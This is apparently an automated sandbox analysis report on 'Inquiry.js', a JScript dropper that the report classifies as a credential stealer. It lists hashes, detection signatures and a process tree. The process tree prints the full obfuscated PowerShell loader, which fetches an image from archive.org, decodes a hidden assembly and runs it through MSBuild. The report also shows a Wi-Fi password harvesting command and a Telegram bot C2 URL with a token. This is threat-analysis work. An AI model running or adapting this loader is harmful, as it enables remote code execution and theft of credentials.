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Windows
Analysis Report
Inquiry.js
Overview
General Information
| Sample name: | Inquiry.js |
| Analysis ID: | 1591681 |
| MD5: | 459f759046d6def3f4524d28eab22476 |
| SHA1: | 46af0da70b77d98d4773023554dacc1f968b93a1 |
| SHA256: | 70a82edf7f26167e6b7df16d624d29d45fd220bb47b8407bc58ee6f7b8c822d3 |
| Tags: | jsstegocampaignuser-zhuzhu0009 |
| Infos: |   |
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Detection
PXRECVOWEIWOEI Stealer
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Sigma detected: Powershell download and load assembly
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AntiVM3
Yara detected PXRECVOWEIWOEI Stealer
Yara detected Telegram RAT
Check if machine is in data center or colocation facility
Connects to a pastebin service (likely for C&C)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Found many strings related to Crypto-Wallets (likely being stolen)
Injects a PE file into a foreign processes
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Silenttrinity Stager Msbuild Activity
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses netsh to modify the Windows network and firewall settings
Uses the Telegram API (likely for C&C communication)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the product ID of Windows
Queries the volume information (name, serial number etc) of a device
Sigma detected: Script Initiated Connection
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 6776 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Inqui ry.js" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 2596 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " if ($null -ne $PSVer sionTable -and $PSVe rsionTable .PSVersion -ne $null ) { [void] $PSVersion Table.PSVe rsion } el se { Write -Output 'P owerShell version No t availabl e' };if ($ null -ne $ PSVersionT able -and $PSVersion Table.PSVe rsion -ne $null) { [ void]$PSVe rsionTable .PSVersion } else { Write-Outp ut 'PowerS hell versi on Not ava ilable' }; $originalT ext = '#x# .411/elif/ ua.moc.sre lli#sidenr uoblem//:s p##h';$res toredText = $origina lText -rep lace '#', 't';$ImGAe KuoWcnmOsi oRbWc = 'h ttps://ia6 00805.us.a rchive.org /10/items/ new_image_ 202501/new _image.jpg ';$zKmKBB AfbUGnsWxh Aiiz = New -Object Sy stem.Net.W ebClient;$ tZUoLPcfaN fWNPPuuQNL = $zKmKBB AfbUGnsWxh Aiiz.Downl oadData($I mGAeKuoWcn mOsioRbWc) ;$UoOZAzuA cLvSicAcLK uh = [Syst em.Text.En coding]::U TF8.GetStr ing($tZUoL PcfaNfWNPP uuQNL);$Ck cWWOGxjxbe ZAUGPTSp = '<<BASE64 _START>>'; $ZrcCaGWco RxzHkkulGi Z = '<<BAS E64_END>>' ;$CbqKcPce QgaPcoZgIa Ai = $UoOZ AzuAcLvSic AcLKuh.Ind exOf($CkcW WOGxjxbeZA UGPTSp);$t mpOdLZZHhJ CGJfWbiRf = $UoOZAzu AcLvSicAcL Kuh.IndexO f($ZrcCaGW coRxzHkkul GiZ);$CbqK cPceQgaPco ZgIaAi -ge 0 -and $t mpOdLZZHhJ CGJfWbiRf -gt $CbqKc PceQgaPcoZ gIaAi;$Cbq KcPceQgaPc oZgIaAi += $CkcWWOGx jxbeZAUGPT Sp.Length; $aWiLuziLf nZnGLeRZri n = $tmpOd LZZHhJCGJf WbiRf - $C bqKcPceQga PcoZgIaAi; $siibUOizc bQuLNGKWfW c = $UoOZA zuAcLvSicA cLKuh.Subs tring($Cbq KcPceQgaPc oZgIaAi, $ aWiLuziLfn ZnGLeRZrin );$uSqTKGl ifAbAKeLRU mfk = -joi n ($siibUO izcbQuLNGK WfWc.ToCha rArray() | ForEach-O bject { $_ })[-1..-( $siibUOizc bQuLNGKWfW c.Length)] ;$iqfeZGJt zAJhdcBqdz mR = [Syst em.Convert ]::FromBas e64String( $uSqTKGlif AbAKeLRUmf k);$nZGHGk TBZPiLBmWn Liec = [Sy stem.Refle ction.Asse mbly]::Loa d($iqfeZGJ tzAJhdcBqd zmR);$qbPK WBeczbjsBn dzhNnZ = [ dnlib.IO.H ome].GetMe thod('VAI' );$qbPKWBe czbjsBndzh NnZ.Invoke ($null, @( $restoredT ext, 'WfWx dqKLzhtiOj UlGsfz', ' WfWxdqKLzh tiOjUlGsfz ', 'WfWxdq KLzhtiOjUl Gsfz', 'MS Build', 'W fWxdqKLzht iOjUlGsfz' , 'WfWxdqK LzhtiOjUlG sfz','WfWx dqKLzhtiOj UlGsfz','W fWxdqKLzht iOjUlGsfz' ,'WfWxdqKL zhtiOjUlGs fz','WfWxd qKLzhtiOjU lGsfz','Wf WxdqKLzhti OjUlGsfz', '1','WfWxd qKLzhtiOjU lGsfz','Ta skName')); if ($null -ne $PSVer sionTable -and $PSVe rsionTable .PSVersion -ne $null ) { [void] $PSVersion Table.PSVe rsion } el se { Write -Output 'P owerShell version No t availabl e' };if ($ null -ne $ PSVersionT able -and $PSVersion Table.PSVe rsion -ne $null) { [ void]$PSVe rsionTable .PSVersion } else { Write-Outp ut 'PowerS hell versi on Not ava ilable' }; " MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 1596 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
MSBuild.exe (PID: 4816 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\MSB uild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232) - MSBuild.exe (PID: 3412 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\MSB uild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232) - cmd.exe (PID: 3760 cmdline:
"cmd.exe" /C chcp 65 001 && net sh wlan sh ow profile | findstr All MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 6016 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
chcp.com (PID: 3140 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF) - netsh.exe (PID: 4088 cmdline:
netsh wlan show prof ile MD5: 4E89A1A088BE715D6C946E55AB07C7DF) - findstr.exe (PID: 3020 cmdline:
findstr Al l MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
msiexec.exe (PID: 7156 cmdline: C:\Windows \system32\ msiexec.ex e /V MD5: E5DA170027542E25EDE42FC54C929077)
- cleanup
{"C2 url": "https://api.telegram.org/bot8122064310:AAFBCVyMfJVoD3s1eB-6ymRD9cZooNbGkNo/sendMessage"}| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PXRECVOWEIWOEI | Yara detected PXRECVOWEIWOEI Stealer | Joe Security | ||
| JoeSecurity_PXRECVOWEIWOEI | Yara detected PXRECVOWEIWOEI Stealer | Joe Security | ||
| JoeSecurity_PXRECVOWEIWOEI | Yara detected PXRECVOWEIWOEI Stealer | Joe Security | ||
| JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| Click to see the 4 entries | ||||
System Summary |   |
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| Source: | Author: Florian Roth (Nextron Systems): | ||